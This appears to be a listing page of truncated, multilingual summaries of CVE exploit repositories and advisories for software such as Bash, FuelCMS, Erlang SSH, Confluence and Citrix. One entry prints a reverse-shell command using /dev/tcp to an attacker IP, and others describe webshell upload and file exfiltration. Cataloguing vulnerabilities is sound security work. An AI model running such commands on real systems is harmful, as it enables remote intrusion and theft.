Shellshock_CVE-2014-6271

شيلشوك CVE-2014-6271 شيلشوك يرجى تنزيل ملفات docker-compose.yml و poc.py تأكد من تنزيل مكتبة requests عبر pip install requests!!! أما إذا كنت تستخدم uv، فقم بوضع مكتبة requests داخل venv عبر uv!!! وصف CVE الرسمي --- في إصدارات GNU Bash قبل 4.3، كانت هناك مشكلة في معالجة السلاسل التي تلي تعريف...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE 用于在 FuelCMS = 1.4.1 上触发 CVE-2018-16763 RCE 的漏洞利用程序及交互式 shell。 功能特性 使用 CVE-2018-16763 在 FuelCMS 中自动上传 php webshell API。 通过带有 ?action=exec 的 API 执行系统命令。 使用 ?action=download 将远程系统中的文件下载到你的攻击机。 使用方法 环境要求 ：无需任何条件，此漏洞利用无需身份验证。 步骤 1：上传 webshell 插件 首先，你需要启动交互式...

CVE-2026-5524-PoC

CVE-2026-5524 — Удаленное выполнение кода без аутентификации в Divi Form Builder Массовый эксплойт-инструментарий для CVE-2026-5524 — уязвимости произвольной загрузки файлов без аутентификации в плагине WordPress Divi Form Builder = 5.1.8, приводящей к удаленному выполнению кода...

CVE-2026-79657

NLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer.execute and...

CVE-2026-78864

A vulnerability was determined in liketrek TREK up to 3.0.22. The affected element is the function journeyService.updateEntry of the file server/src/nest/journey/journey.controller.t of the component Journey Entry Update. This manipulation causes sql injection. It is possible to initiate the atta...

CVE-2026-57909

A path traversal vulnerability in WatchGuard Agent allows a remote, unauthenticated attacker on an adjacent network to execute arbitrary code on an affected system...

CVE-2026-78885

CVE-2026-78885 affects liketrek TREK up to version 3.0.22 , specifically the findOrCreateUser function in server/src/services/oidcService.ts (OIDC Service component). The vulnerability is an improper authentication flaw that can be exploited remotely, though it requires a high level of attack com...

EUVD-2026-65473

A vulnerability was identified in liketrek TREK up to 3.0.22. The impacted element is the function findOrCreateUser of the file server/src/services/oidcService.ts of the component OIDC Service. Such manipulation leads to improper authentication. It is possible to launch the attack remotely. The...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2023-33253

CVE-2023-33253 LabCollector с 6.0 по 6.15 позволяет удалённое выполнение кода Аутентифицированный удалённый пользователь с низкими привилегиями может загрузить исполняемый PHP-файл и выполнить системные команды. Уязвимость находится в функции message и вызвана недостаточной проверкой отправляемог...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE يحتوي هذا المستودع على استغلال Exploit للثغرة CVE-2019-16278 في خادم الويب Nostromo 1.9.6، مما يسمح بتنفيذ تعليمات برمجية عن بُعد عبر ثغرة تجاوز المسار Directory Traversal. يستخدم السكريبت مكتبة pwntools لإنشاء شيل عكسي Reverse Shell. لأغراض تعليمية واختبارات مصر...

CVE-2025-43504

जब अच्छे /bins बुरे हो जाते हैं: LLDB के debugserver में एक रिमोट प्री-ऑथेंटिकेशन ओवरफ्लो परिचय बड़े होते हुए, मुझे अपने स्थानीय Walmart में DVD के डिब्बों में खोदाई करने में हमेशा मज़ा आता था। मैंने देखा कि बहुत सी एक जैसी फ़िल्में ऊपर रखी रहती थीं, लेकिन अगर आप वास्तव में अंदर खोदाई करते, तो आप...

CVE-2019-11395

استغلال CVE-2019-11395 🛡️ حول CVE-2019-11395 🕵️ تصف ثغرة CVE-2019-11395 ثغرة تجاوز سعة المخزن المؤقت في تطبيق البريد الإلكتروني MailCarrier 2.51، مما يسمح بتنفيذ التعليمات البرمجية عن بُعد. تحدث الثغرة في عمليات SMTP RCPT TO، POP3 USER، POP3 LIST، POP3 TOP، أو POP3 RETR. خلال الدراسة الأكاديمية، تم...

Exploits_CVE-2019-19781

استغلال تنفيذ الأوامر عن بُعد CVE-2019-19781 - Citrix Application Delivery Controller & Gateway استغلال تنفيذ الأوامر عن بُعد لـ Citrix Application Delivery Controller وCitrix Gateway CVE-2019-19781 الاستخدام: bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE مثال: bash CVE-2019-19781.sh...

CVE-2025-51495

Mongoose의 최신 릴리스v7.17에서 확인된 보안 취약점을 보고합니다. 이 문제는 WebSocket 모듈, 특히 들어오는 WebSocket 프레임을 처리하는 mgwscb 함수에 존재합니다. 해당 함수는 정수 오버플로에 취약하며, 특정 조작된 입력 하에서 메모리 경계를 벗어난 접근으로 이어질 수 있습니다. 이 조건은 원격 공격자가 메모리 손상 또는 애플리케이션 충돌을 유발하는 데 악용될 가능성이 있습니다. 공급업체마다 WebSocket 비즈니스 로직을 다르게 구현하기 때문에, 이 취약점은 잠재적으로 원격 코드 실행으로 이어...

CVE-2017-7269-exploit

根据 https://github.com/edwardz246003/IISexploit.git 修改得来 Utilisation root@kitploit: -h : Sélectionner l'hôte par défaut 127.0.0.1 -p : Sélectionner le port par défaut 80 Ajouter une commande à la fin par défaut regedit, actuellement ce script ne supporte que 8 caractères maximum...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL URL cible -c COMMAND, --command COMMAND commande -i LHOST, --lhost LHOST Adresse de l'hôte de rebond -p LPORT, --lport LPORT Port de l'hôte de rebond -f FILE, --file FILE Scan par lot...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 POC عملي لـ CVE 2017-5638 يحتوي هذا المستودع على مثال Python عملي يوضح قدرات تنفيذ الأوامر عن بُعد RCE الخاصة بـ CVE 2017-5638. كما تم تضمين ملف WAR الخاص بـ Struts Showcase كمرجع...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection Использование root@kitploit: usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - semble effrayant. On se souvient encore des bugs Stagefright et PNG.... Avec CVE-2019-2107, le décodeur/codec s'exécute sous l'utilisateur mediacodec et avec une vidéo "artisanalement" conçue avec tuiles activées - pspps-i1tilesenabledflag vous pouvez...